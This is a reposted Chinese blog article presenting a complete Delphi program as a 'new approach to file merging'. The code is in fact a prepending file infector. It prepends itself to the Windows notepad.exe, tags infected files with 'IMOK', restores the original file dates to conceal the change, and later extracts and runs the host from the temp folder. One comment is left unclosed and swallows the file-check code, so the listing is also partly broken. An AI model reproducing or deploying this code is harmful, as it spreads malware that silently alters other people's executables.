文件合并新思路(附完整DELPHI代码) (转)

文件合并新思路(附完整DELPHI代码) (转)[@more@]

  文件合并新思路
  (襄樊 官本和 2001.9.28)

program exe2;

uses
  classes,
  Tlhelp32,
  windows,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=64000; {根据编译或压缩后的文件大小进行修改}

procedure copy2(s:string);
var
  s1,s2:TMemoryStream;
  files2:TFilestream;
  ch:array[0..3] of char;
  ss:string;
  filetime,fhandle:integer;
begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
  {判断文件s中有没有特殊标记。若有，表示已经合并过
  在本程序编译或压缩后，用十六进制软件进行修改，在偏移200处加入标记'IMOK'
  用debug也可进行修改(对exe文件，要先更改EXE扩展名)。例:
  -e 1C8
  127D:01C8 00._   ......
  -w   files2:=TFilestream.Create(s,fmopenread);
  files2.Position:=200;
  files2.Read(ch,4);
  ss:=copy(ch,1,4);
  files2.Free;
  if ss='IMOK' then exit;
  {将本文件与文件s合并 本文件+s=s}
  s2:=TMemoryStream.Create;
  s2.loadfromfile(ExeName);
  s1:=TMemoryStream.Create;
  s1.copyfrom(s2,MySize);
  s2.clear;
  s2.loadfromfile(s);
  s1.seek(s1.size,soFromBeginning);
  s1.copyfrom(s2,s2.size);
  s2.free;
  {得到文件s的日期}
  fhandle:=FileOpen(s, fmOpenread);
  filetime:=filegetdate(fhandle);
  fileclose(fhandle);
  s1.SaveToFile(s);
  {恢复文件s的日期}
  fhandle:=FileOpen(s, fmOpenwrite);
  filesetdate(fhandle,filetime);
  fileclose(fhandle);
  s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
  s1.Free;
  exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
  cmdstr:='';
  a:=1;
  while ParamStr(a)<>'' do begin
  cmdstr:=cmdstr+ParamStr(a)+' ';
  inc(a);
  end;
  winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='';
  while found do
  begin
  ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
  found:=Process32Next(handle,lppe);
  end;
  if pos(WinDir+'notepad.exe',ProcessStr)=0 then
  begin
  copy2(WinDir+'notepad.exe');
  end;
  {其它需要合并的文件
  if pos(...,ProcessStr)=0 then
  begin
  copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用这个程序干点其它的什么...
  }
  CreateFileAndRun;{释放文件并带参数运行}
end.

{
E-Mail: email.com.cn" rel="nofollow">guanbenhe@peoplemail.com.cn
  Delphi21cn@sohu.com" rel="nofollow">delphi21cn@sohu.com
homepage: .NET">http://guanbh.top263.net
}

 

来自 “ ITPUB博客 ” ，链接：http://blog.itpub.net/10748419/viewspace-979376/，如需转载，请注明出处，否则将追究法律责任。

转载于:http://blog.itpub.net/10748419/viewspace-979376/